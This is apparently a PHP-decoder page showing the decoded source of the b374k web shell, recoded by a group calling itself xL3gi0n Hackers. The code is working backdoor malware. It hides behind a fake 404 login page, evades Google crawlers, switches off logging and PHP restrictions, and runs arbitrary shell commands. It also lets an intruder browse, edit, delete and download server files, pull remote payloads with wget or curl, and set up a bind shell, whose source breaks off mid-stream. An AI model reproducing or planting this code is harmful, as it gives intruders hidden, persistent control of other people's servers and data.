Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61..
Decoded Output download
?><?
######################
# B374k xL3gi0n Hackers #
# xL3gi0n Hackers #
# Edited by:Xr1pt3d #
######################
//Change User & Password
$tacfgd['uname'] = 'xlegionhackers';
$tacfgd['pword'] = 'xlegionhackers';
// Title of page.
$tacfgd['title'] = '-=xL3gi0n Hacker=- ';
// Text to appear just above login form.
$tacfgd['helptext'] = ' B374k xL3gi0n shell v.1.0';
// Set to true to enable the optional remember-me feature, which stores encrypted login details to
// allow users to be logged-in automatically on their return. Turn off for a little extra security.
$tacfgd['allowrm'] = true;
// If you have multiple protected pages, and there's more than one username / password combination,
// you need to group each combination under a distinct rmgroup so that the remember-me feature
// knows which login details to use.
$tacfgd['rmgroup'] = 'default';
// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering.
// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not
// destroy the session, so that is left up to you.
$tacfgd['ownsessions'] = false;
foreach ($tacfgd as $key => $val) {
if (!isset($tacfg[$key])) $tacfg[$key] = $val;
}
if (!$tacfg['ownsessions']) {
session_name('txtauth');
session_start();
}
// Logout attempt made. Deletes any remember-me cookie as well
if (isset($_GET['logout']) || isset($_POST['logout'])) {
setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
if (!$tacfg['ownsessions']) {
$_SESSION = array();
session_destroy();
}
else $_SESSION['txtauthin'] = false;
}
// Login attempt made
elseif (isset($_POST['login'])) {
if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
$_SESSION['txtauthin'] = true;
if ($_POST['rm']) {
// Set remember-me cookie for 2 weeks
setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
}
}
else $err = 'Login Failed !';
}
// Remember-me cookie exists
elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
$_SESSION['txtauthin'] = true;
}
else $err = 'Login Failed !';
}
if (!$_SESSION['txtauthin']) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
?>
<html dir=rtl>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title><?=$tacfg['title']?></title>
<link rel="SHORTCUT ICON" href="http://fedupintolerant.com/wordpress/wp-content/uploads/2012/09/Biohazard-gif.gif" type="image/x-icon"/>
</br>
<center><img src="http://oi49.tinypic.com/keu9fd.jpg" height="250" width="250"></center>
<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #ffffff;
}
td {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #dadada;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #dadada;
}
table {
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #dadada;
}
input {
BORDER-RIGHT: #00FF00 1 solid;
BORDER-TOP: #00FF00 1 solid;
BORDER-LEFT: #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #dadada;;
}
submit {
BORDER: buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #dadada;
}
textarea {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #dadada;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
<body>
<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
<hr width="300" size="1" noshade color="#cdcdcd">
<p>
<div align="center" class="grey">
<?=$tacfg['helptext']?>
</div>
<p>
<?
if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);
?>
<form name="txtauth" action="<?=$action?>" method="post">
<div align="center">
<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">
<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>
<?if (isset($tacfg['uname'])) {?>
<tr><td>Username:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
<?}?>
<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
<?if ($tacfg['allowrm']) {?>
<tr><td align="left"><input type="submit" name="login" value="Login">
</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
Remember Me ?</label></td></tr>
<?} else {?>
<tr><td colspan="2" align="center">
<input type="submit" name="login" value="Login"></td></tr>
<?}?>
</table>
</div>
</form>
<br><br>
<hr width="300" size="1" noshade color="#cdcdcd">
<div class="smalltxt" align="center">Developed by
<a href="https://www.facebook.com/XR1pted">Xr1pt3d</a> | copyright
2013</div>
</body>
</html>
<?
// Don't delete this!
exit();
}
?>
<?php
/* (Web Shell b374k recoded by Xr1pted [xL3gi0n Hackers]") */
$auth_pass = "5d41402abc4b2a76b9719d911017c592";
$color = "#5bf";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<form method=post>
<input type=password name=pass>
</form>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = $software."<br />";
$buff .= $system."<br />";
if($id != "") $buff .= $id."<br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\">|</span> Your ip : <b>".$my_ip."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= $letters." > ".$pwdurl;
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
